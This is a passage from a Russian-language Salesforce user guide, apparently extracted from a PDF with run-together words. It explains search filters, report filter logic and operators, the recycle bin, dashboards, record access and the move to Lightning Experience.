ограничения области поиска. Чтобы

Поиски по нескольким объектам

Чтобы выполнить поиск по всемвыполнить поиск по всем объектам,
объектам, доступным черездоступным через боковую панель,

щелкните «Искать все». расширенный поиск, щелкните
«Искать все».

Использованиепоискапоотдельному
слову дляполей записи, доступныхдля

Использование поиска по фразе и
сопоставление терминов в точной

Поисковые термины

поиска. Например, поиск по запросупоследовательности. Например, поиск
«иван петров» возвращает элементы,по запросу «иван петров» возвращает
содержащие «ИванПетров», а такжеэлементы, содержащие «ИванПетров»,
контакт «ИванСидоров», содержащий
адрес эл. почты isidorov@petrov.ru.

но не «ИванушкаПетров» или «ИванА.
Петров». Кроме того, поисковые
термины дополняются конечным
специальным символом. Например,
«ИванА. Петров*».

Прозвищаотображаютсяврезультатах.Не включает результаты для прозвищ.Поиск по прозвищам

Структурированные запросы на основе нескольких критериев
Чтобы найти записи на основе структурированного запроса (например, организации из определенной области или
открытыевозможностивнутрикомпании), воспользуйтесьсписковымпредставлением, отчетомилипанельюмониторинга.
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Флажок «Ограничиться моими элементами»
При наличиифлажка «Ограничиться моими элементами» результаты поиска не возвращают записи активов, идей,
счетов, заказов, вопросов, смет, ответов и пользователей ввиду отсутствия ответственных.

Фильтры
Доступные поляфильтра в макете поиска определяются администратором. Фильтры поиска недоступны на клиентских
или партнерских порталах.

Прифильтрации результатов поиска оператор выбирается автоматически на основе типа поля. Если не указано иное,
то всеполяиспользуютоператор «содержит». Поля типа «автонумерация» и «телефон» используютоператор «содержит»,
так как могут содержать нечисловые символы. Ниже перечислены типы полей, использующие оператор «равно».

• Даты

• Числа (кроме полей типа «автонумерация» и «телефон»)

• Коды записей

Явноеиспользованиеоператора «ИЛИ» поддерживается толькочисловымиполями. Фильтрырезультатовпоиска (кроме
числовых полей) используют запятые в качестве операторов «ИЛИ». Например, при вводе критерия «компания,
калифорния» вполефильтра «Имяорганизации» отображаютсязаписи, содержащиеслова «компания» или «калифорния».
Числовые поля (где запятая может являться частьючисла) не обрабатывают запятые в качестве операторов «OR», поэтому
оператор OR должен вводиться вручную.

Придобавлениинескольких критериев отображаются только записи, соответствующиевсем критериям. Например, при
вводе критерия «компания калифорния» в поле фильтра «Имя организации» отображаются записи, содержащие слова
«компания» и «калифорния».

Не включайте «http://» или «https://» в критерий URL-фильтра, чтобы не получить неожиданные результаты. После ввода
значений в поля типа «URL-адрес» и сохранения записей система Salesforce добавляет префикс http:// в любой URL-адрес,
которыйненачинается спрефикса http:// или https://. Добавленныйпрефикс http:// не хранится в базе данных. Например,
если в поле «Веб-сайт» ввести «salesforce.com» и сохранить запись, в поле будет отображаться «http://salesforce.com», но
значение сохранится как «salesforce.com». Таким образом, если ввести в поле фильтра веб-сайта «http://salesforce.com», в
результатах не будет вашей записи.

Использование корзины
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Использование корзины

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра и
восстановления удаленных
записей:
• «Чтение» для записей в

корзине

Для просмотра и
восстановления записей,
удаленных другими
пользователями:
• «Изменение всех

данных»

Для восстановления
удаленных общедоступных
тегов:
• «Менеджер тегов»

Для очистки корзины:
• «Изменение всех

данных»

Ссылка «Корзина» на боковой панели позволяет просматривать и восстанавливать
недавно удаленные записи в течение 15 дней после их удаления. Чтобы определить
максимальнодопустимыйразмеркорзины, воспользуйтесьследующейформулой: объем
хранилища (Мб), умноженный на 25. Например, если организация располагает 1 Гб
хранилища, то данное ограничение составляет 1 000 Мбх 25, то есть 25 000 записей. При
достижении установленного ограничения система Salesforce автоматически удаляет
старые записи, хранящиеся в корзине не менее двух часов.

Просмотр элементов корзины
Чтобы просмотреть собственные удаленные элементы, выберите значение «Моя
корзина» из раскрывающегося списка. Чтобы просмотреть все удаленные элементы
организации, администраторилипользовательсполномочием «Изменениевсехданных»
может выбрать значение «Вся корзина». Выбор значения «Вся корзина» в версии
Personal Edition инициирует отображение всех удаленных элементов.

Поиск по элементам корзины
1. Выберитезначение«Моякорзина»или«Всякорзина»израскрывающегосясписка.

Выбор значения «Моя корзина» инициирует поиск только по собственным
удаленным элементам.

2. Введите критерии поиска. Критерии поиска обрабатываются как отдельные слова,
между которыми используется условие «И». Например, в результате поиска по
критерию «иванпетров»отображаются записи, содержащиеэлементы «иван»и «петров»,
тогда как записи, содержащие имя «иван сидоров» и адрес эл. почты isidorov@petrov.ru,
не отображаются. По умолчанию критерии поиска дополняются специальным
символом, поэтому в результате поиска по критерию «иван» отображаются записи,
содержащие имя «иван» или «иванушка». Поиск выполняется по полю, доступному в
столбце «Имя» на странице «Корзина» (например, «Имя», «Номер обращения»,
«Номер контракта» или «Имя продукта»).

Прим.: Корзина не поддерживает некоторые функции поиска (например,
морфологический поиск и синонимы).

3. Нажмите кнопку «Поиск».

Восстановление элементов корзины
Чтобывосстановить элемент, установитефлажокнапротивнужного элементаинажмите кнопку «Восстановить». Чтобы
восстановить все удаленные элементы, установите флажок в заголовке столбца и нажмите кнопку «Восстановить».

Нижеперечисленытипывзаимосвязей, для которыхсистема Salesforce восстанавливает связипривосстановлениизаписи.

• Родительские организации (как указано в поле организации «Родительская организация»)

• Родительские обращения (как указано в поле обращения «Родительское обращение»)

• Основные решения для переведенных решений (как указано в поле решения «Основное решение»)

• Менеджеры контактов (как указано в поле контакта «Подчиненный»)

• Продукты, связанные с активами (как указано в поле актива «Продукт»)
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• Возможности, связанные со сметами (как указано в поле сметы «Возможность»)

• Все настраиваемые взаимосвязи поиска

• Участники группы взаимосвязи для организаций и группы взаимосвязи (за некоторыми исключениями)

• Теги

• Категории статьи, состояние публикации и назначения

Прим.: Система Salesforce восстанавливает только те взаимосвязи поиска, которые не были заменены. Например,
если актив был связан с другим продуктом до восстановления исходной записи продукта, то взаимосвязь между
активом и продутом не восстанавливается.

Очистка корзины
Чтобыбезвозвратноудалитьудаленныеэлементыдозавершения 15-дневногопериода, администраторилипользователь
с полномочием «Изменение всех данных» может нажать кнопку «Очистить свою корзину» или «Очистить корзину
организации».

СМ. ТАКЖЕ:

Удаление записей

Запуск отчета

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для запуска отчетов:
• «Запуск отчетов»

Для планирования отчетов:
• «Планированиеотчетов»

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Чтобы запустить отчет, найдитенужныйотчет на вкладке «Отчеты» ищелкните егоимя.
Отчеты запускаются автоматически при выборе имени. Чтобы запустить или
запланироватьпросматриваемыйотчет, нажмите кнопку «Запуститьотчет». В Lightning
Experience кнопка «Запустить отчет» отображается только после сохранения отчета.

Если результаты отчета не отображаются, проверьте перечисленные ниже условия.

• Результаты отчета отсутствуют. Проверьте критерии фильтрации на предмет
отображения других данных.

• Одна из выбранных группировок недоступна согласно параметрам безопасности
поля.

• Контекст настраиваемойформулы резюмирования не соответствует параметрам
диаграммы. Например, если диаграмма не содержит параметра «Отрасль»,
использованного для вычисления формулы, то результаты не возвращаются.

• Выбранные значения не соответствуют диапазону допустимых значений.
Максимальное допустимое значение: 999999999999999.Минимальное допустимое
значение: -99999999999999.

Еслиотчетвозвращаетболее2 000 записей, тоотображаютсятолькопервые2 000 записей.
Чтобыпросмотретьвсерезультатыотчета, нажмитекнопку«Экспортироватьсведения».

Отчет, выполняемый более 10 минут, отменяется системой Salesforce. Чтобы сократить
объем данных, используемых в отчете, выполните указанные ниже действия.

• Выполните фильтрацию собственных, а не всех записей.

• Выберите нужный диапазон дат.

• Удалите лишние столбцы из отчета.

• Скройте сведения об отчете.
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Добавление логики фильтра
Логические параметрыфильтрации управляют тем, как и когда к вашему отчету применяются фильтры.

Сортировка результатов отчета
Чтобыотсортировать результатыотчета по даннымвотдельном столбце, щелкните заголовокнужного столбца. При
выборе заголовка столбцаданныесортируются впорядке возрастания: текст — поалфавиту, числа — отнаименьшего
к наибольшему, время и дата — от самой ранней к самой поздней.

Визуализация данных посредством панелей мониторинга
A dashboard shows data from source reports as visual components, which can be charts, gauges, tables, metrics, or Visualforce pages.
Компоненты представляют собой моментальные снимки ключевых показателей и индикаторов эффективности
организации. Каждая панель мониторинга может содержать не более 20 компонентов.

СМ. ТАКЖЕ:

Страница запуска отчета

Страница запуска отчета

Параметры страницы запуска отчета

Параметры страницы запуска отчета

Печать отчета

Сортировка результатов отчета

Добавление логики фильтра

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Для создания настраиваемых
списковых представлений:
• «Чтение» для типов

записей, добавленных в
список

Для создания,
редактирования и удаления
общедоступных списковых
представлений:
• «Управление

общедоступными
списковыми
представлениями»

Логические параметрыфильтрации управляют тем, как и когда к вашему отчету
применяются фильтры.

После добавления фильтра к отчету фильтру присваивается номер. Первыйфильтр
получает имя Filter 1, а второй фильтр — Filter 2. Вы применяете логику фильтра на
основании этих пронумерованных фильтров.

Например, у вас есть отчет с Организациями с такими полями как
Административно-территориальная единица, Ежегодный доход и Отрасль. В отчете
используются следующие фильтры:

1. Поле «Административно-территориальная единица» включает Калифорнию,
Аризону и Неваду

2. «"Отрасль" равно "Банки"»

3. «"Годовой доход" больше "10000000"»

Этитрифильтраиспользуютсядляизвлеченияизотчетаорганизаций, расположенных
в Калифорнии, Аризоне и Неваде, занятых в банковской отрасли, с годовым доходом
выше 1 000 000 долларовСША. Ночтоследуетсделать, есливамнеобходимыорганизации
в Калифорнии, Аризоне или Неваде, которые работают в банковской отрасли ИЛИ
имеют доход выше 1 000 000 долларов США? Добавьте фильтр в отчет.

1. Нажмите кнопку «Добавить» > «Логикафильтра».

2. Введите номер строки каждого фильтра, используя логический оператор фильтра.

Например, выражение (1 И 2) ИЛИ 3 позволит найти записи, соответствующие
условиям фильтра 1 и фильтра 2, либо фильтра 3.
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Вот полная таблица логических операторов фильтра:

ОпределениеОператор

Данныйоператорнаходитзаписи, которыесоответствуют
обоим значениям.

1 И 2

И

Данныйоператорнаходитзаписи, которыесоответствуют
одному из значений.

1 ИЛИ 2

ИЛИ

Данный оператор находит записи, которые не содержат
введенные значения.

Например, Фильтр 1 имеет значениеОтрасль =
«Биотехнологии». ВынастраиваетелогикуфильтраНЕ

НЕ

1. В вашем отчете отображаются записи, среди которых
отсутствует отрасль «Биотехнологии».

3. Нажмите кнопку «Сохранить».

Теперь в вашем отчете отображаются Организации, занятые в банковской сфере в Калифорнии, Аризоне или Неваде,
с любым объемом дохода, а также все организации с годовым доходом выше 1 000 000 долларов США.

Прим.:

• Логикафильтра доступна толькодлянекоторыхфильтров. Например, онанеподдерживаетсяполямисводного
резюмирования.

• Условие «ИЛИ» не может использоваться для фильтрации объектов отчета, объект А которого может иметь
или не иметь объект Б. Например, при вводе критерия фильтрации «"Имя организации" начинается с "М"
ИЛИ "Личное имя контакта" начинается с "M"» отображается сообщение об ошибке, уведомляющеео вводе
недопустимого критерия фильтрации.

• Заисключениемлогикифильтроввполяхпоиска, вынеможетеиспользоватьлогическиеоператорыфильтров,
если в фильтрах полей используются любые из следующих полей:

– Темы

– Описание

– любые поля Адресная строка 1, Адресная строка 2, Адресная строка 3

– Категория прогноза

– Кампания: Тип участника

– Пользователь: Имя профиля

– Состояние входа

– настраиваемые поля для ввода увеличенных объемов текста
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Справочник по операторам фильтров
Оператор, используемый в фильтре, заменяет глагол, используемый в предложении. Операторы позволяют задать,
как критерии фильтрации связаны друг с другом. Изучите следующий список операторов фильтрации, которые
используются при настройке фильтров для списковых представлений, отчетов, панелей мониторинга и некоторых
настраиваемых полей.

Фильтрация по значениям специального раскрывающегося списка

СМ. ТАКЖЕ:

Справочник по операторам фильтров

Фильтрация по значениям специального раскрывающегося списка

Примечания для фильтрации по типу полей и значениям

Справочник по операторам фильтров
Оператор, используемый в фильтре, заменяет глагол, используемый в предложении. Операторы позволяют задать, как
критериифильтрациисвязаныдругсдругом. Изучитеследующийсписокоператоровфильтрации, которыеиспользуются
при настройке фильтров для списковых представлений, отчетов, панелей мониторинга и некоторых настраиваемых
полей.

ПрименениеОператор

Используйте для точного совпадения. Например: «"Создано" равно "сегодня"».равно

Используйте для результатов, которые меньше, чем вводимое вами значение. Например, «План
продаж меньше 20 000» возвращает записи, где диапазон значений будет от 0 до 19 999,99.

меньше

Данныйоператорпредназначендляотображениярезультатов, превышающихвведенноезначение.
Например, фильтр «"Планпродаж" больше "20 000"» возвращает записи, в которых значение поля
«План продаж» превышает 20 000,01.

больше

Данный оператор предназначен для отображения результатов, соответствующих или
предшествующих введенному значению.

меньше или равно

Данныйоператорпредназначендляотображениярезультатов, соответствующихилипревышающих
введенное значение.

больше или равно

Данный оператор предназначен для отображения результатов, которые не содержат введенное
значение. Этот оператор особенно удобен для удаления пустых полей. Например, «"Эл. почта" не
равна <пусто>».

не равно

Используйте для полей, которые содержат вашу строку поиска, но иногда также содержат другую
информацию. Например, фильтр «"Организация" содержит "Калифорния"» возвращает записи

содержит

«Калифорния-тур», «Калифорния-сервис» и «Моя Калифорния». Помните, что, если вы вводите
короткую строку поиска, она может совпадать с более длинным словом. Например, фильтр
«"Организация" содержит "про"» возвращает записи «Студия Про» и «ПрофессионалыМосквы».
Этот оператор не учитывает регистр:

215

Добавление логики фильтраОсновы Salesforce



ПрименениеОператор

Удаляет записи, которые не содержат введенное вами значение. Например: «Строка почтового
адреса 2 не содержит номера АЯ».

не содержит

Прим.: В полях сводного резюмирования оператор «не содержит» использует логику
«или» для значений, разделенных запятыми. Всписковыхпредставлениях, отчетахипанелях
мониторинга оператор «не содержит» использует логику «и».

Этот оператор не учитывает регистр:

Данныйоператорпредназначендляотображения записей, приусловииотсутствия точного текста
и наличия только его начала. В отличие от оператора «содержит», данный оператор выполняет

начинается с

более узкийпоиск. Например, есливывводите «Учетная записьначинается с "california"», тонайдется
«California Travel» и «California Pro Shop», но не «Surf California».

Данный оператор доступен при использовании раскрывающегося списка со множественным
выбором в качестве выбранного поля. Данный оператор предназначен для поиска записей,
содержащих как минимум одно введенное значение.

Например, если вы введете «Интересы включают хоккей, футбол, баскетбол», вы найдете записи,
у которых выбран только хоккей, и записи, у которых есть два или три введенных значения.
Результаты содержат только полные соответствия введенных значений.

включает

Данный оператор доступен при использовании раскрывающегося списка со множественным
выборомвкачестве выбранногополя. Данныйоператорпредназначендляпоиска записей, которые
не содержат значений, соответствующих введенным значениям.

Например, если ввести «Интересы исключить вино, гольф», ваш отчет будет содержать записи,
которые содержат какие-либо другие значения из этого раскрывающегося списка, в том числе

исключает

значения, которыеявляютсяпустыми. Результатысодержат толькополныесоответствиявведенных
значений.

Данный оператор доступен только для фильтров панели мониторинга. Данный оператор
предназначен дляфильтрации диапазонов значений. Для каждого диапазонафильтр возвращает

от

результаты, превышающие или равные минимальному значению и предшествующие
максимальному значению.

Например, фильтр «Количество сотрудников от 100 до 500» возвращает организации с
численностью сотрудников от 100 до 499. Организации с численностью 500 сотрудников не
отображаются.

Фильтрация по значениям специального раскрывающегося списка

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступные поля
определяютсяиспользуемой
версией Salesforce.

Значения специального раскрывающегося списка могут использоваться как критерии
поискаприсозданиикритериевфильтрации. Специальнымисчитаютсяраскрывающиеся
списки со значениями «Истина» и «Ложь».

Например, чтобы просмотреть все реализованные возможности, введите критерий
поиска «"Реализовано" равно "Истина"». Чтобы просмотреть все
закрытые/нереализованные возможности, введите критерии поиска «"Закрыто" равно
"Истина"» и «"Реализовано" равно "Ложь"».
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Прим.: Присозданиикритериевфильтрациидляотчетаилисписковогопредставлениязначокпоискаотображается
автоматически при выборе специального раскрывающегося списка для фильтрации. Чтобы выбрать значение
«Истина» или «Ложь», щелкнитезначокпоиска. Принеобходимостивведитезначение «Истина»/«Ложь» вручную.

Ниже перечислены доступные поля и их значения.

ОписаниеЗначениеПоле специального
раскрывающегося списка

Организация является организацией-лицом. Обратите
внимание, что имя данного поля может быть настроено

ИстинаОрганизации и контакты: Является
организацией-лицом

администратором. Данное поле отображается в виде
значка организации-лица ( ).

Организация является организацией-компанией.Ложь

Организация является организацией-партнером, либо
ответственный за интерес или возможность является
пользователем-партнером.

ИстинаОрганизации, интересы и
возможности: Организация-партнер

Организацияне являетсяорганизацией-партнером, либо
ответственный за интерес или возможность не является
пользователем-партнером.

Ложь

Применяется только к событиям, ноне задачам. Событие
помечается как событие на весь день.

ИстинаДействия: Весь день

Событию назначается конкретное время.Ложь

Применяется только к задачам, но не событиям. Задача
закрыта, то естьполе задачи «Статус» содержитзначение
«Закрыто».

ИстинаДействия: Закрыто

Задача все еще открыта.Ложь

Применяется только к событиям, ноне задачам. Событие
является приглашением на многопользовательское
событие, отправленным другому пользователю.

ИстинаДействия: Приглашение на событие

(Только для отчетов)

Событие является исходным многопользовательским
событием, назначенным организатору события.

Ложь

Действие не содержит green sheet.Ложь

Действие является задачей, но не событием.ИстинаДействия: Задача

Действие является событием.Ложь

Кампания активна и может быть выбрана из разных
раскрывающихсясписковкампаний (например, вмастере
импорта кампаний).

ИстинаКампании: Активно

Кампания неактивна.Ложь

Обращение закрыто, то есть поле обращения «Статус»
содержит значение «Закрыто».

ИстинаОбращения: Закрыто
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ОписаниеЗначениеПоле специального
раскрывающегося списка

Обращение все еще открыто.Ложь

Обращение расширено автоматически посредством
правила расширения, заданного в организации.

ИстинаОбращения: Расширено

Обращение не расширено.Ложь

Обращениесодержитновыйкомментарий, добавленный
пользователем портала самообслуживания.

ИстинаОбращения: Новый комментарий на
портале самообслуживания

Обращениене содержитновогокомментариянапортале
самообслуживания.

Ложь

Обращение открыто, то есть поле обращения «Статус»
содержит значение, которое не эквивалентно значению
«Закрыто».

ИстинаОбращения: Открыто

(Только для отчетов)

Обращение закрыто.Ложь

Обращение содержит комментарий, добавленный
пользователем портала самообслуживания.

ИстинаОбращения: Прокомментировано на
портале самообслуживания

Обращение не содержит комментария на портале
самообслуживания.

Ложь

Контакт не может быть добавлен в список получателей
пакетной электронной рассылки.

ИстинаКонтакты: Без рассылки по эл.
почте

Контактможетполучатьпакетнуюэлектроннуюрассылку.Ложь

Контакт может выполнять вход на портал
самообслуживания.

ИстинаКонтакты: Активный портал
самообслуживания

(Только для отчетов) Контакт не может выполнять вход на портал
самообслуживания.

Ложь

Интерес преобразован.ИстинаИнтересы: Преобразовано

(Только для отчетов) Интерес не преобразован.Ложь

Интерес не может быть добавлен в список получателей
пакетной электронной рассылки.

ИстинаИнтересы: Без рассылки по эл.
почте

Интерес может получать пакетную электронную
рассылку.

Ложь

Интерес все еще не просматривался или не изменялся
ответственнымпосленазначенияданномупользователю.

ИстинаИнтересы: Не прочитано

Интерес просматривался или изменялся ответственным
как минимум один раз после назначения данному
пользователю.

Ложь
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ОписаниеЗначениеПоле специального
раскрывающегося списка

Возможность закрыта, то естьполе возможности «Этап»
содержит значение типа «Закрыто/реализовано» или
«Закрыто/не реализовано».

ИстинаВозможности: Закрыто

Возможность все еще открыта.Ложь

Партнер возможности помечается как основной.ИстинаВозможности: Основной

(Только для отчета «Возможности
партнера»)

Партнер возможности не помечается как основной.Ложь

Флажок «Личная» на странице редактирования
возможностиустановленответственнымза возможность.

ИстинаВозможности: Личная

Флажок «Личная» в записи возможностине установлен.Ложь

Возможность закрыта и реализована, то есть поле
возможности «Этап» содержит значение типа
«Закрыто/реализовано».

ИстинаВозможности: Реализовано

Возможность не реализована. Поле «Этап» может
содержать значение типа «Открыто» или «Закрыто/не
реализовано».

Ложь

Продукт активен и может быть добавлен в возможности
организациями Enterprise Edition, Unlimited Edition и
Performance Edition.

ИстинаПродукты: Активно

Продукт неактивен и не может быть добавлен в
возможности.

Ложь

Продукт содержит стандартное расписание объемов
продукции.

ИстинаПродукт: Содержит расписание
объемов продукции

Продукт не содержит стандартного расписания объемов
продукции.

Ложь

Продукт содержит стандартное расписание доходов.ИстинаПродукт: Содержит расписание
доходов

Продукт не содержит стандартногорасписания доходов.Ложь

Решение помечается флажком «Отображается на
портале самообслуживания» и доступно пользователям
портала самообслуживания.

ИстинаРешения: Отображается на портале
самообслуживания

Решение не помечается флажком «Отображается на
портале самообслуживания» инедоступнопользователям
портала самообслуживания.

Ложь

Решение согласовано, то есть поле решения «Статус»
содержит значение «Согласовано».

ИстинаРешения: Согласовано
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ОписаниеЗначениеПоле специального
раскрывающегося списка

Решение не согласовано.Ложь

Переведенное решение не обновлялось в соответствии
со связанным основным решением.

ИстинаРешения: Устарело

Переведенное решение обновлено в соответствии со
связанным основным решением.

Ложь

Пользователь активен и может выполнить вход.ИстинаПользователи: Активно

Пользователь неактивен и не может выполнить вход.Ложь

Пользователю предоставляется доступ к приложению
Connect Offline.

ИстинаПользователи: Пользователь
Offline

Пользователюнепредоставляетсядоступкприложению
Connect Offline.

Ложь

Пользователь может управлять кампаниями.ИстинаПользователи: Пользователь
Marketing

Пользователь не может управлять кампаниями.Ложь

Пользователь является пользователем-партнером.ИстинаПользователь: Является партнером

Пользователь не является пользователем-партнером.Ложь

Прим.: Специальные раскрывающиеся списки, доступные для просмотра, определяются макетами страниц и
параметрами безопасности поля.

Сортировка результатов отчета

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для сортировки результатов
отчета:
• «Запуск отчетов»

Чтобы отсортировать результаты отчета по данным в отдельном столбце, щелкните
заголовок нужного столбца. При выборе заголовка столбца данные сортируются в
порядке возрастания: текст — по алфавиту, числа — от наименьшего к наибольшему,
время и дата — от самой ранней к самой поздней.

• Чтобы применить обратный порядок сортировки, щелкните заголовок столбца
второй раз.

• Еслиорганизацияиспользуетплавающиезаголовкиотчетов, тоалгоритмсортировки
немного отличается.

В этом случае отчет обновляется, а пользователи переходят в начало страницы
результатов.

• Если отчет использует разные уровни группировки, то его результаты могут быть
отсортированы по суммарному значению, определяющему каждую группировку.
Например, рассмотрим отчет «Возможности», результаты которого группируются
по типу бизнеса. Каждая группировка «Тип» использует группировку «Этап», а
каждая группировка «Этап» использует группировку «Источник интереса». Таким
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образом, пользователи могут сортировать группировки «Тип» по стоимости, группировку «Этап» по этапу, а
группировку «Источник интереса» по количеству записей.

СМ. ТАКЖЕ:

Создание отчета

Подведение промежуточных результатов отчетов
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Визуализация данных посредством панелей мониторинга

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра и
обновления панелей
мониторинга:
• «Запуск отчетов» И

доступ к папке панелей
мониторинга

Для создания панелей
мониторинга:
• «Запуск отчетов» И

«Управление панелями
мониторинга»

Для редактирования и
удаления созданныхпанелей
мониторинга:
• «Запуск отчетов» И

«Управление панелями
мониторинга»

Для редактирования и
удаления панелей
мониторинга, созданных
другими пользователями:
• «Запуск отчетов»,

«Управление панелями
мониторинга» И
«Просмотр всех данных»

A dashboard shows data from source reports as visual components, which can be charts, gauges,
tables, metrics, or Visualforce pages.Компонентыпредставляютсобоймоментальныеснимки
ключевых показателей и индикаторов эффективности организации. Каждая панель
мониторинга может содержать не более 20 компонентов.

Приоткрытиивкладки «Панелимониторинга» отображаетсяпоследняяпросмотренная
панель мониторинга. В верхней части страницы отображаются время последнего
обновленияпанелимониторингаиимяпользователя, полномочиякоторогоопределяют
доступные данные.

Каждый компонент панели мониторинга отображает данные, доступные в основном
отчете. Чтобы просмотреть связанный компонент панели мониторинга, пользователь
должениметьдоступкпапкедляосновногоисходногоотчета. Чтобыоткрытьисходный
отчет, отфильтрованный отчет, страницу сведений о записи или другой URL-адрес,
щелкните компонент панели мониторинга или любой его элемент. При детализации
отфильтрованногокомпонентафильтрыпанелимониторингаприменяютсякисходному
отчету.

Чтобыпросмотретьсписокпанелеймониторинга, щелкнитессылку«Перейтиксписку
панелей мониторинга». Чтобы найти нужную панель мониторинга, воспользуйтесь
средством поиска панелей мониторинга. Введите имя в поле «Просмотр панели
мониторинга» и выберите панель мониторинга из списка результатов. Пользователи
могут просматривать панели мониторинга только в доступных папках.

Чтобы получать соответствующие обновления ленты, начните отслеживание панели
мониторинга в Chatter.
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Доступ к элементам пользовательского интерфейса, записям и полям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

Защита корпоративных данных выполняется разными компонентами, которые могут
быть настроены администратором. Версии Professional Edition, Enterprise Edition, Unlimited
Edition, Performance Edition и Developer Edition позволяют определять уровень доступа
других пользователей к собственным данным путем предоставления коллегам
индивидуального доступа к записям.

Нужный доступДействие

Для просмотра вкладки: • Убедитесь в наличии полномочия
«Чтение» для записей, доступных на
данной вкладке.

• Убедитесь, что данной вкладке заданы
личные параметры отображения.

Для просмотра записи: • Убедитесь в наличии полномочия
«Чтение» для нужного типа записи.

• Версии Professional Edition, Enterprise
Edition, Unlimited Edition, Performance
Edition и Developer Edition позволяют
задавать модель общего доступа,
определяющую уровень доступа
пользователей к чужим записям. В
зависимости от выбранной модели
общегодоступа, доступк записиможет
быть предоставлен пользователю,
которыйне является ответственным за
записьилиегоменеджеромвиерархии
ролей.

• Версии Enterprise Edition, Unlimited
Edition, Performance Edition и Developer
Edition позволяют использовать
функцию управления территориями
для предоставления доступа к
организациям, возможностям и
обращениям.

Для просмотра поля: • Убедитесь в наличии полномочия
«Чтение» длятипазаписи, содержащего
нужное поле.

• При использовании версии Enterprise
Edition, Unlimited Edition или Performance
Edition проверьте безопасность поля
(параметры безопасности поля,
заданные пользователем, могут
препятствовать отображению поля).
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Нужный доступДействие

• Проверьте макет страницы (доступные поля
определяются параметрами макета страницы).

Для редактирования поля: • Убедитесь в наличии полномочия «Редактирование»
для типа записи, содержащего нужное поле.

• При использовании версии Enterprise Edition, Unlimited
Edition или Performance Edition проверьте безопасность
поля (параметры безопасности поля, заданные
пользователем, могут определять поле как доступное
только для чтения).

• Проверьтемакет страницы (поля, доступныетолькодля
чтения, определяются параметрами макета страницы).

Для просмотра связанного списка: • Убедитесь в наличии полномочия «Чтение» для типа
записи, отображаемого в связанном списке.

• Проверьте макет страницы (доступные поля
определяются параметрами макета страницы).

Для просмотра кнопки или ссылки: • Убедитесь в наличии полномочия, необходимого для
выполнения данного действия. Кнопки и ссылки
отображаются только тем пользователям, которым
предоставлены соответствующие полномочия.

СМ. ТАКЖЕ:

Предоставление доступа к записям

Просмотр пользователей, имеющих доступ к записям

Уровни доступа к записям
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Оценка и развертывание Lightning Experience для вашей
организации

ВЕРСИИ

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Новыйинтерфейс Salesforce уже доступендляиспользования! Lightning Experience — это
полностью измененный интерфейс. А, платформа, использованная для разработки,
позволяет постепенно осваивать его возможности.

Вамкак администраторуиответственномуконсультантупо всемвопросам, касающимся
использования системы Salesforce, предстоит решить от лица компании, когда следует
выполнить развертывание интерфейса Lightning Experience для организации. Данное
руководство содержит сведения, необходимые для оценки нового интерфейса и
определения его соответствияпотребностямвсехилитольконекоторыхпользователей.
По мере готовности система предложит воспользоваться планом развертывания и
переключиться на Lightning Experience.

Отличительные особенности Lightning Experience

Васприветствует Lightning Experience (новыйудобныйпользовательскийинтерфейсот компании Salesforce). Поскольку
наша система ориентирована на продажи, обновление интерфейса затрагивает прежде всего процессы продаж.
Полученный интуитивно-понятный интерфейс помогает торговым представителям упростить рабочие процессы и
сократитьвремязакрытиясделок. Рассмотримнекоторыеотличительныеособенностиновогоинтерфейса, помогающие
определить необходимость внедрения Lightning Experience для всех или только некоторых пользователей.

Подходит ли Lightning Experience для вашей организации Salesforce?

Итак, задумываетесь о переключении на интерфейс Lightning Experience? Новый интерфейс предоставляет
многочисленные преимущества группам сбыта. Однако система Salesforce очень сложная, и в ней нельзя перестроить
все сразу. Возможности текущего выпуска отличаются от возможностей, доступных в Salesforce Classic (предыдущий
полнофункциональный интерфейс Salesforce). Рассмотрим некоторые примеры использования, а также сравним
возможностиLightning ExperienceиSalesforce Classicдляопределениянеобходимостипереключениямеждуинтерфейсами
или предварительного просмотра вашей организации в новом интерфейсе.

Переход на Lightning Experience Пора!
Прекрасно! Вырешили, что готовыперейтина Lightning Experience. Во-первых, мырекомендуемразработать стратегию
вашего перехода. Затем, когда придет подходящее время, вы сможете воспользоваться приведенными ниже
инструкциями по включению нового пользовательского интерфейса.

Работа в Lightning Experience

Немного ошарашены новымифункциями Lightning Experience? Это вполне понятно. Переход к приложению с
переделанным дизайном может сбить с толку, особенно если в исходном интерфейсе вы могли работать даже с
завязаннымиглазами. Чтобыоблегчитьпривыкание к Lightning Experience, давайтепосмотрим где вновоминтерфейсе
находятся наиболее часто используемые функции Salesforce.

Замечания по Lightning Experience

Всостав данной версии Lightning Experience вошлине всефункции, доступные в Salesforce Classic. Вприведенныхдалее
разделахможноуточнить, неисчезлилииз даннойверсииилине сталилиограниченнымикакие-либовозможности,
важные для вашего бизнеса. Кроме того, эта информация поможет вам обучить пользователей новым особенностям
работы, которые появятся с переходом на Lightning Experience.
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Информационный центр Lightning Experience

Данныйраздел содержитполезнуюинформациюоработе с Lightning Experience, егонастройкедля вашейорганизации
или разработке для нового пользовательского интерфейса.

СМ. ТАКЖЕ:

https://developer.salesforce.com/trailhead/trail/lex_admin_migration

https://developer.salesforce.com/trailhead/trail/lex_dev

